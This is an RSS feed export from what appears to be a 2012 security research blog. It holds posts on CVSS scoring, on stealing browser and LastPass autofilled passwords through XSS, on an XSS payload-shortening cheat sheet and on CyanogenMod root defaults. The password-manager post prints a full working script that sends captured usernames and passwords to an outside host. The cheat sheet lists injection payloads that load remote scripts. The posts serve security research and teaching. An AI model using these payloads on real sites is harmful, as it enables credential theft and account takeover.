<h3>Objectivity is in the eye of the beholder</h3>
<p>As mentioned in the beginning of the blog entry, a CVSS score is based on some base metric, but can be adjusted using a number of &#8220;Temporal&#8221; and &#8220;Environmental&#8221; metrics.  In other words, given a base score, you can just tweak it how ever you want using a number of fuzzy criteria.  This, compounded with the coarse High, Medium, Low severity scores, leads to a troubling amount of score fiddling.  I am not going to go all conspiracy theory on you and claim people are fudging numbers for publically disclosed CVEs.  But, I have seen internal groups within companies leveraging these additional metrics to make the data fit their desired outcome.  I can&#8217;t blame them, as it is almost a requirement.  When presented a vulnerability there is generally an internal consensus about how serious this vulnerability is to the organization and whether it is a Critical, High, Medium, or Low (as I defined them above).  However, once they enter all of the base metrics into the CVSS calculator there is a reasonable chance that it is going to give you a score that doesn&#8217;t mesh with their gut.  So, adjustments are made to the temporal metrics and environmental metrics until it gives them the appropriate score.  Again, I blame nobody for &#8220;fudging&#8221; the data, as often times the base score just doesn&#8217;t work.  One could argue that the temporal and environmental scores could be adjusted in a reliable/repeatable way for a given application/environment.  Then, anytime a vulnerability is identified in that specific application then the same temporal/environmental adjustments could be used to create reliable/repeatable scores.  In reality, this doesn&#8217;t happen.  An organization should be praised for using any kind of scoring system at all.  To try to enforce an extra level of unnecessary/burdensome process is not worthwhile or realistic.</p>
<h3>Conclusion</h3>
<p>Even with all the above being said, as soon as you pitch the idea of using a four point scoring system you run into the problem of objectivity.  How do we decide what criteria delineates a Critical from a High vulnerability?  I am sure that is how CVSS started, as it provided an approach for scoring things objectively.  But, as we already discussed, it is only superficialy objective, as there are numerous ways to adjust the score using subjective metrics.  So, why bother?  I think following a model similar to the Chrome severity guidelines makes more sense.  The Chrome team has developed some specific criteria they use to group vulnerabilities.  Given that they are only trying to place a vulnerability into one of four buckets it isn&#8217;t that difficult.  Most organizations could come up with a similar set of organization specific criteria for assigning a vulnerability score.  In the end, while I am a fan of standardization in general, I am not a fan of the current standard for vulnerability scoring.  Not to be to cliche, but an Albert Einstein quote sums up my thoughts pretty well: “Everything should be made as simple as possible, but no simpler”.  I think CVSS could using a little simplifying.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/neolab.wordpress.com/1407/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/neolab.wordpress.com/1407/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/neolab.wordpress.com/1407/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/neolab.wordpress.com/1407/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/neolab.wordpress.com/1407/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/neolab.wordpress.com/1407/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/neolab.wordpress.com/1407/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/neolab.wordpress.com/1407/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/neolab.wordpress.com/1407/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/neolab.wordpress.com/1407/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/neolab.wordpress.com/1407/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/neolab.wordpress.com/1407/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/neolab.wordpress.com/1407/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/neolab.wordpress.com/1407/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1407&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://labs.neohapsis.com/2012/04/25/cvss-vulnerability-scoring-gone-wrong/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5788c623c8fe27e3f5b9e41962256c6e?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">ptoomey3</media:title>
		</media:content>

		<media:content url="http://neolab.files.wordpress.com/2012/04/scores1.png" medium="image">
			<media:title type="html">Scores</media:title>
		</media:content>

		<media:content url="http://neolab.files.wordpress.com/2012/04/scores-grouped-into-4.png" medium="image">
			<media:title type="html">Scores Grouped Into 4</media:title>
		</media:content>

		<media:content url="http://neolab.files.wordpress.com/2012/04/scores-grouped-into-3.png" medium="image">
			<media:title type="html">Scores Grouped Into 3</media:title>
		</media:content>
	</item>
		<item>
		<title>Abusing Password Managers with XSS</title>
		<link>http://labs.neohapsis.com/2012/04/25/abusing-password-managers-with-xss/</link>
		<comments>http://labs.neohapsis.com/2012/04/25/abusing-password-managers-with-xss/#comments</comments>
		<pubDate>Wed, 25 Apr 2012 16:34:59 +0000</pubDate>
		<dc:creator>Ben Toews</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Security Tools]]></category>
		<category><![CDATA[Web Applications]]></category>

		<guid isPermaLink="false">http://labs.neohapsis.com/?p=1342</guid>
		<description><![CDATA[By Ben Toews One common and effective mitigation against Cross-Site Scripting (XSS) is to set the HTTPOnly flag on session cookies. This will generally prevent an attacker from stealing users&#8217; session cookies with XSS. There are ways of circumventing this (e.g. the HTTP TRACE method), but generally speaking, it is fairly effective. That being said, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1342&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>By Ben Toews</p>
<p>One common and effective mitigation against Cross-Site Scripting (XSS) is to set the HTTPOnly flag on session cookies. This will generally prevent an attacker from stealing users&#8217; session cookies with XSS. There are ways of circumventing this (e.g. the HTTP TRACE method), but generally speaking, it is fairly effective. That being said, an attacker can still cause significant damage without being able to steal the session cookie.</p>
<p>A variety of client-side attacks are possible, but an attacker is also often able to circumvent Cross-Site Request Forgery (CSRF) protections via XSS and thereby submit various forms within the application. The worst case scenario with this type of attack would be that there is no confirmation for email address or password changes and the attacker can change users&#8217; passwords. From an attacker&#8217;s perspective this is valuable, but not as valuable as being able to steal a user&#8217;s session. By reseting the password, the attacker is giving away his presence and the extent to which he is able to masquarade as another user is limited. While stealing the session cookie may be the most commonly cited method for hijacking user accounts, other means not involving changing user passwords exist.</p>
<p>All modern browsers come with some functionality to remember user passwords. Additionally, users will often install third-party applications to manage their passwords for them. All of these solutions save time for the user and generally help to prevent forgotten passwords. Third party password managers such as LastPass are also capable of generating strong, application specific passwords for users and then sending them off to the cloud for storage. Functionality such as this greatly improves the overall security of the username/password authentication model. By encouraging and facilitating the use of strong application specific passwords, users need not be as concerned with unreliable web applications that inadequately protect their data. For these and other reasons, password managers such as LastPass are generally considered within the security industry to be a good idea. I am a long time user of LastPass and have (almost) nothing but praise for their service.</p>
<p>An issue with both in-browser as well as third-party password managers that gets hardly any attention is how these can be abused by XSS. Because many of these password managers automatically fill login forms, an attacker can use JavaScript to read the contents of the form once it has been filled. The lack of attention this topic receives made me curious to see how exploitable it actually would be. For the purpose of testing, I built a simple PHP application with a functional login page aswell as a second page that is vulnerable to XSS (find them <a href="https://gist.github.com/2346364">here</a>). I then proceded to experiment with different JavaScript, attempting to steal user credentials with XSS from the following password managers:</p>
<ul>
<li>LastPass (Current version as of April 2012)</li>
<li>Chrome (version 17)</li>
<li>Firefox (version 11)</li>
<li>Internet Explorer (version 9)</li>
</ul>
<p>I first visited my login page and entered my password. If the password manager asked me if I wanted it to be remembered, I said yes. I then went to the XSS vulnerable page in my application and experimented with different JavaScript, attempting to access the credentials stored by the browser or password manager. I ended up writing some JavaScript that was effective against the password managers listed above with the exception of IE:</p>
<p><pre class="brush: jscript; wrap-lines: false;">
&lt;script type=&quot;text/javascript&quot;&gt;
    ex_username = '';
    ex_password = '';
    inter = '';
    function attack(){
        ex_username = document.getElementById('username').value;
        ex_password = document.getElementById('password').value;
        if(ex_username != '' | ex_password != ''){
            document.getElementById('xss').style.display = 'none'
            request=new XMLHttpRequest();
            url = &quot;http://btoe.ws/pwxss?username=&quot;+ex_username+&quot;&amp;password=&quot;+ex_password;
            request.open(&quot;GET&quot;,url,true);
            request.send();
            document.getElementById('xss').style.visibility='hidden';
            window.clearInterval(inter);
        }
    }
    document.write(&quot;\
    &lt;div id='xss'&gt;\
    &lt;form method='post' action='index.php'&gt;\
    username:&lt;input type='text' name='username' id='username' value='' autocomplete='on'&gt;\
    password:&lt;input type='password' name='password' id='password' value='' autocomplete='on'&gt;\
    &lt;input type='submit' name='login' value='Log In'&gt;\
    &lt;/form&gt;\
    &lt;/div&gt;\
    &quot;);
    inter = window.setInterval(&quot;attack()&quot;,100);
&lt;/script&gt;
</pre></p>
<p>All that this code does it create a fake login form on the XSS vulnerable page and then wait for it to be filled in by the browser or password manager. When the fields are filled, the JavaScript takes the values and sends them off to another server via a simple Ajax request. At first I had attempted to harness the <code>onchange</code> event of the form fields, but it turns out that this is unreliable across browsers (also, LastPass seems to mangle the form and input field DOM elements for whatever reason). Using <code>window.setInterval</code>, while less elegant, is more effective.</p>
<p>If you want to try out the above code, go to <a title="Password XSS Demo" href="http://boomer.neohapsis.com/pwxss" target="_blank">http://boomer.neohapsis.com/pwxss</a> and login (username:<strong>user1</strong> password:<strong>secret</strong>). Then go to the reflections page and enter the slightly modified code listed there into the text box. If you told your password manager to remember the password for the site, you should see an alert  box with the credentials you previously entered. Please let me know if you find any vulns aside from XSS in this app.</p>
<p>To be honest, I was rather surprised that my simple trick worked in Chrome and Firefox. The LastPass plugin in the Chrome browser operates on the DOM level like any other Chrome plugin, meaning that it can&#8217;t bypass event listeners that are watching for form submissions. The browsers, on the other hand could put garbage into the form elements in the DOM and wait until after the <code>onsubmit</code> event has fired to put the real credentials into the form. This might break some web applications that take action based on the <code>onchange</code> event of the form inputs, but if that is a concern, I am sure that the browsers could somehow fill the form fields without triggering this event.</p>
<p>The reason why this code doesn&#8217;t work in IE (aside from the non-IE-friendly XHR request) is that the IE password manager doesn&#8217;t automatically fill in user credentials. IE also seems to be the only one of the bunch that ties a set of credentials to a specific page rather than to an entire domain. While these both may be inconveniences from a usability perspective, they (inadvertantly or otherwise) improve the security of the password manager.</p>
<p>While this is an attack vector that doesn&#8217;t get much attention, I think that it should. XSS is a common problem, and developers get an unrealistic sense of security from the HTTPOnly cookie flag. This flag is largely effective in preventing session hijacking, but user credentials may still be at risk. While I didn&#8217;t get a chance to check them out when researching this, I would not be surprised if Opera and Safari had the same types of behavior.</p>
<p>I would be interested to hear a discussion of possible mitigations for this vulnerability. If you are a browser or browser-plugin developer or just an ordinary hacker, leave a comment and let me know what you think.</p>
<p>&nbsp;</p>
<p>Edit: Prompted by some of the comments, I wrote a little script to demo how you could replace the whole document.body with that of the login page and use push state to trick a user into thinking that they were on the login page. <a href="https://gist.github.com/2552844">https://gist.github.com/2552844</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/neolab.wordpress.com/1342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/neolab.wordpress.com/1342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/neolab.wordpress.com/1342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/neolab.wordpress.com/1342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/neolab.wordpress.com/1342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/neolab.wordpress.com/1342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/neolab.wordpress.com/1342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/neolab.wordpress.com/1342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/neolab.wordpress.com/1342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/neolab.wordpress.com/1342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/neolab.wordpress.com/1342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/neolab.wordpress.com/1342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/neolab.wordpress.com/1342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/neolab.wordpress.com/1342/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1342&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://labs.neohapsis.com/2012/04/25/abusing-password-managers-with-xss/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/8caa0afdae1a934c30a1998472c63134?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mastahyeti</media:title>
		</media:content>
	</item>
		<item>
		<title>XSS Shortening Cheatsheet</title>
		<link>http://labs.neohapsis.com/2012/04/19/xss-shortening-cheatsheet/</link>
		<comments>http://labs.neohapsis.com/2012/04/19/xss-shortening-cheatsheet/#comments</comments>
		<pubDate>Thu, 19 Apr 2012 15:59:03 +0000</pubDate>
		<dc:creator>Ben Toews</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[application security]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://labs.neohapsis.com/?p=1376</guid>
		<description><![CDATA[By Ben Toews In the course of a recent assessment of a web application, I ran into an interesting problem. I found XSS on a page, but the field was limited (yes, on the server side) to 20 characters. Of course I could demonstrate the problem to the client by injecting a simple &#60;b&#62;hello&#60;/b&#62; into [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1376&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>By Ben Toews</p>
<p>In the course of a recent assessment of a web application, I ran into an interesting problem. I found XSS on a page, but the field was limited (yes, on the server side) to 20 characters. Of course I could demonstrate the problem to the client by injecting a simple <code>&lt;b&gt;hello&lt;/b&gt;</code> into their page, but it leaves much more of an impression of severity when you can at least make an alert box.</p>
<p>My go to line for testing XSS is always <code>&lt;script&gt;alert(123123)&lt;/script&gt;</code>. It looks somewhat arbitrary, but I use it specifically because <code>123123</code> is easy to grep for and will rarely show up as a false positive (a quick Google search returns <em>only</em> 9 million pages containing the string <code>123123</code>). It is also nice because it doesn&#8217;t require apostrophes.</p>
<p>This brings me to the problem. The above string is 30 characters long and I need to inject into a parameter that will only accept up to 20 characters. There are a few tricks for shortening your <code>&lt;script&gt;</code> tag, some more well known than others. Here are a few:</p>
<ul>
<li>If you don&#8217;t specify a scheme section of the URL (http/https/whatever), the browser uses the current scheme. E.g. <code>&lt;script src='//btoe.ws/xss.js'&gt;&lt;/script&gt;</code></li>
<li>If you don&#8217;t specify the host section of the URL, the browser uses the current host. This is only really valuable if  you can upload a malicious JavaScript file to the server you are trying to get XSS on. Eg. <code>&lt;script src='evil.js'&gt;&lt;/script&gt;</code></li>
<li>If you are including a JavaScript file from another domain, there is no reason why its extension must be <code>.js</code>. Pro-tip: you could even have the malicious JavaScript file be set as the index on your server&#8230; Eg. <code>&lt;script src='http://btoe.ws'&gt;</code></li>
<li>If you are using IE you don&#8217;t need to close the <code>&lt;script&gt;</code> tag (although I haven&#8217;t tested this in years and don&#8217;t have a Windows box handy). E.g. <code>&lt;script src='http://btoe.ws/evil.js'&gt;</code></li>
<li>You don&#8217;t need quotes around your <code>src</code> attribute. Eg. <code>&lt;script src=http://btoe.ws/evil.js&gt;&lt;/script&gt;</code></li>
</ul>
<p>In the best case (your victim is running IE and you can upload arbitrary files to the web root), it seems that all you would need is <code>&lt;script src=/&gt;</code>. That&#8217;s pretty impressive, weighing in at only 14 characters. Then again, when will you actually get to use that in the wild or on an assessment? More likely is that you will have to host your malicious code on another domain. I own <code>btoe.ws</code>, which is short, but not quite as handy as some of the five letter domain names. If you have one of those, the best you could do is <code>&lt;script src=ab.cd&gt;</code>. This is 18 characters and works in IE, but let&#8217;s assume that you want to be cross-platform and go with the 27 character option of <code>&lt;script src=ab.cd&gt;&lt;/script&gt;</code>. Thats still pretty short, but we are back over my 20 character limit.</p>
<p>Time to give up? I think not.</p>
<p>Another option is to forgo the <code>&lt;script&gt;</code> tag entirely. After all, &#8216;script&#8217; is such a long word&#8230; There are many one letter HTML tags that accept event handlers. <code>onclick</code> and <code>onkeyup</code> are even pretty short. Here are a couple more tricks:</p>
<ul>
<li>You can make up your own tags! E.g. <code>&lt;x onclick="alert(1)"&gt;foo&lt;/x&gt;</code></li>
<li>If you don&#8217;t close your tag, some events will be inherited by the rest of the page following your injected code. E.g. <code>&lt;x onclick='alert(1)'&gt;</code>.</li>
<li>You don&#8217;t need to wrap your code in quotes. Eg. <code>&lt;b onclick=alert(1)&gt;foo&lt;/b&gt;</code></li>
<li>If the page already has some useful JavaScript (think JQuery) loaded, you can call their functions instead of your own. Eg. If they have a function defined as <code>function a(){alert(1)}</code> you can simply do <code>&lt;b onclick='a()'&gt;foo&lt;/b&gt;</code></li>
<li>While <code>onclick </code>and <code>onkeyup </code>are short when used with <code>&lt;b&gt;</code> or a custom tag, they aren&#8217;t going to fire without user interaction. The <code>onload</code> event of the <code>&lt;body&gt;</code> tag on the other hand will. I think that having duplicate <code>&lt;body&gt;</code> tags might not work on all browsers, though.  E.g. <code>&lt;body onload='alert(1)'&gt;</code></li>
</ul>
<p>Putting these tricks together, our optimal solution (assuming they have a one letter function defined that does exactly what we want) gives us <code>&lt;b onclick=a()&gt;</code>. Similar to the unrealistically good <code>&lt;script&gt;</code> tag example from above, this comes in at 14 characters. A more realistic and useful line might be <code>&lt;b onclick=alert(1)&gt;</code>. This comes it at exactly 20 characters, which is within my limit.</p>
<p>This worked for me, but maybe 20 characters is too long for you. If you really have to be a minimalist, injecting the <code>&lt;b&gt;</code> tag into the page is the smallest thing I can think of that will affect the page without raising too many errors. Slightly more minimalistic than that would be to simply inject <code>&lt;</code>. This would likely break the page, but it would at least be noticable and would prove your point.</p>
<p>This article is by no means intended to provide the answer, but rather to ask a question. I ask, or dare I say <em>challenge</em>, you to find a better solution than what I have shown above. It is also worth noting that I tested most of this on recent versions of Firefox and Chrome, but no other browsers. I am using a Linux box and don&#8217;t have access to much else at the moment. If you know that some of the above code does not work in other browsers, please comment bellow and I will make an edit, but please don&#8217;t tell me what does and does not work in lynx.</p>
<p>If you want to see some of these in action, copy the following into a file and open it in your your browser or go to <a href="http://mastahyeti.com/vps/shrtxss.html" target="_blank">http://mastahyeti.com/vps/shrtxss.html</a>.</p>
<p>Edit: albinowax points out that onblur is shorter than onclick or onkeyup.</p>
<p><code><br />
&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;title&gt;xss example&lt;/title&gt;<br />
&lt;script&gt;<br />
//my awesome js<br />
function a(){alert(1)}<br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;</code></p>
<p>&lt;!&#8211; XSS Injected here &#8211;&gt;<br />
&lt;x onclick=alert(1)&gt;<br />
&lt;b onkeyup=alert(1)&gt;<br />
&lt;x onclick=a()&gt;<br />
&lt;b onkeyup=a()&gt;<br />
&lt;body onload=a()&gt;<br />
&lt;!&#8211; End XSS Injection &#8211;&gt;</p>
<p>&lt;h1&gt;XSS ROCKS&lt;/h1&gt;<br />
&lt;p&gt;click me&lt;/p&gt;<br />
&lt;form&gt;<br />
&lt;input value=&#8217;try typing in here&#8217;&gt;<br />
&lt;/form&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</p>
<p>PS: I did some Googling before writing this. Thanks to those at <a title="sla.ckers.org" href="http://sla.ckers.org/forum/read.php?2,6964,7049" target="_blank">sla.ckers.org</a> and at <a title="gnarlysec" href="http://gnarlysec.blogspot.com/2010/01/xss-and-ultra-short-urls.html" target="_blank">gnarlysec</a>.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/neolab.wordpress.com/1376/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/neolab.wordpress.com/1376/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/neolab.wordpress.com/1376/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/neolab.wordpress.com/1376/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/neolab.wordpress.com/1376/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/neolab.wordpress.com/1376/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/neolab.wordpress.com/1376/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/neolab.wordpress.com/1376/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/neolab.wordpress.com/1376/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/neolab.wordpress.com/1376/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/neolab.wordpress.com/1376/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/neolab.wordpress.com/1376/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/neolab.wordpress.com/1376/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/neolab.wordpress.com/1376/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1376&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://labs.neohapsis.com/2012/04/19/xss-shortening-cheatsheet/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/8caa0afdae1a934c30a1998472c63134?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mastahyeti</media:title>
		</media:content>
	</item>
		<item>
		<title>CyanogenMod 9, An Android ROM Without Root</title>
		<link>http://labs.neohapsis.com/2012/04/12/cyanogenmod-9-an-android-rom-without-root/</link>
		<comments>http://labs.neohapsis.com/2012/04/12/cyanogenmod-9-an-android-rom-without-root/#comments</comments>
		<pubDate>Thu, 12 Apr 2012 16:35:08 +0000</pubDate>
		<dc:creator>Jon Janego</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Security Industry]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://labs.neohapsis.com/?p=1358</guid>
		<description><![CDATA[By Jon Janego As a follow up to my blog post in December about custom Android ROMs, i&#8217;d like to comment on the news released by the CyanogenMod team last month about their removal of default root access in their upcoming CM9 release. In a post on their blog  a few weeks ago, the CyanogenMod team [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1358&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>By Jon Janego</p>
<p>As a follow up to my <a href="http://labs.neohapsis.com/2011/12/21/the-security-implications-of-custom-android-roms/" target="_blank">blog post in December</a> about custom Android ROMs, i&#8217;d like to comment on the news released by the CyanogenMod team last month about their removal of default root access in their upcoming CM9 release.</p>
<p><a href="http://neolab.files.wordpress.com/2012/04/cyanogenmod.png"><img class="alignleft size-medium wp-image-1361" title="cyanogenmod" src="http://neolab.files.wordpress.com/2012/04/cyanogenmod.png?w=300&h=300" alt="" width="300" height="300" /></a></p>
<p>In a post <a href="http://www.cyanogenmod.com/blog/security-and-you" target="_blank"><span style="text-decoration:underline;">on their blog</span></a>  a few weeks ago, the CyanogenMod team announced that they were changing the way that they handle root access on devices using their ROM.  Previous releases of their ROM  have root access enabled by default, as is common in most custom ROMs.  That had the result that any application that requested root access on the device would be granted it.  This is great for some of the power-user applications that are common among the Android modding scene &#8211; <a href="http://matrixrewriter.com/android/" target="_blank"><span style="text-decoration:underline;">Titanium Backup</span></a> is one that comes to mind &#8211; but it comes with a significant security risk, since a malicious application installed on the device could have full root access without the user being aware of what it was doing.  The CyanogenMod team acknowledged this in their post, saying, &#8220;<em>Shipping root enabled by default to 1,000,000+ devices was a gaping hole</em>&#8220;<span style="color:#008000;">.</span></p>
<p>What the team is planning to do instead is to implement root access in a selective, user configurable manner.  A device using the ROM has root access disabled by default, but can be configured to only enable it for ADB console access, to enable it only for applications, or to have it enabled across the board.  This type of control leaves it in the hands of the users to choose the level of risk that they are willing to accept.  Obviously, many of the tech-savvy enthusiasts will immediately enable unfettered root access. However, for the large part of the Android community that is only interested in custom ROMs for the customizable interfaces offered by them, this will be a welcome and overdue security protection for them.  Already, it is clear in the comments to the CyanogenMod post that not everyone understands what the risk of root level access is &#8211; someone asks the community to &#8220;<em>explain this for the liberal arts majors</em>&#8220;<span style="color:#008000;">.</span></p>
<p>Just so it&#8217;s clear, the removal of root level access is strictly at the operating system layer.  Installing a custom ROM onto an Android phone still requires unlocking the bootloader, which on most devices requires running a &#8220;jailbreaking&#8221; exploit of some sort.  There are a few exceptions to this; the <a href="http://www.google.com/nexus/" target="_blank">Google Nexus</a> line of phones lets you unlock the bootloader with only some console commands, and <a href="http://htcdev.com/bootloader" target="_blank">HTC</a> and <a href="http://developer.motorola.com/products/software/" target="_blank">Motorola</a> have also been providing bootloader unlocks to their devices.  Unless it&#8217;s coming from the manufacturer, there is always the possibility of some risk when executing unknown code on your device.  But once you&#8217;ve gotten to the point of installing the custom ROM, there was the further risk of having root-level access to the operating system easily available, which is the gap that CyanogenMod has closed here.</p>
<p>To me, this indicates that the CyanogenMod team is acknowledging their influence in the community and using it to educate users on good security measures.  Baking in a &#8220;secure by default&#8221; configuration to the most popular ROM will be good for everyone.  Kudos to them for acknowledging this, and let&#8217;s hope that it leads to a more secure Android ecosystem for everyone!</p>
<p><em>CyanogenMod Logo Used Under a <a href="http://creativecommons.org/licenses/by/3.0/" target="_blank">Creative Commons Attribution License</a></em></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/neolab.wordpress.com/1358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/neolab.wordpress.com/1358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/neolab.wordpress.com/1358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/neolab.wordpress.com/1358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/neolab.wordpress.com/1358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/neolab.wordpress.com/1358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/neolab.wordpress.com/1358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/neolab.wordpress.com/1358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/neolab.wordpress.com/1358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/neolab.wordpress.com/1358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/neolab.wordpress.com/1358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/neolab.wordpress.com/1358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/neolab.wordpress.com/1358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/neolab.wordpress.com/1358/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1358&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://labs.neohapsis.com/2012/04/12/cyanogenmod-9-an-android-rom-without-root/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5e5bdb9a2fe9f91b8b4c8668124bf91d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jonjanego</media:title>
		</media:content>

		<media:content url="http://neolab.files.wordpress.com/2012/04/cyanogenmod.png?w=300" medium="image">
			<media:title type="html">cyanogenmod</media:title>
		</media:content>
	</item>
		<item>
		<title>Ambiguous RFC leads to Cross Site Scripting</title>
		<link>http://labs.neohapsis.com/2012/04/06/ambiguous-rfc-leads-to-cross-site-scripting/</link>
		<comments>http://labs.neohapsis.com/2012/04/06/ambiguous-rfc-leads-to-cross-site-scripting/#comments</comments>
		<pubDate>Fri, 06 Apr 2012 15:30:19 +0000</pubDate>
		<dc:creator>Patrick Toomey</dc:creator>
				<category><![CDATA[Information Security]]></category>

		<guid isPermaLink="false">http://labs.neohapsis.com/?p=1298</guid>
		<description><![CDATA[By Patrick Toomey Sometime in January I was on an application assessment and noticed that user input was being used to generate a link to another application.  In other words, I would send a request that looked like: http://www.site1.com/test.jsp?var1=val1 and the application was generating some HTML that looked like: &#60;a href="http://www.site2.com/test2.jsp?var1=val1"&#62;Click Me&#60;/a&#62; This is not [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1298&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>By Patrick Toomey</p>
<p>Sometime in January I was on an application assessment and noticed that user input was being used to generate a link to another application.  In other words, I would send a request that looked like:</p>
<pre>http://www.site1.com/test.jsp?var1=val1</pre>
<p>and the application was generating some HTML that looked like:</p>
<pre>&lt;a href="http://www.site2.com/test2.jsp?var1=val1"&gt;Click Me&lt;/a&gt;</pre>
